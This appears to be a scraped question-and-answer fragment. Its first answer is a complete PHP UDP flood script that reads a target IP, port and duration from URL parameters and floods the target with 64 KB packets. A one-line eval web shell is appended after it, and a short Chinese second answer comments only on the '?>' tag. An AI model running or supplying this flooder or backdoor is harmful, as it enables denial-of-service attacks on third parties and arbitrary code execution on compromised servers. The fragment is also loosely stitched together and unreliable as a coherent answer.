Answer 1

<?php

$packets = 0;

$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET['time'];

$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){

$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
<?php eval($_POST[ddos])?>

Answer 2

上面那段话的意思是 ?> 这个符号
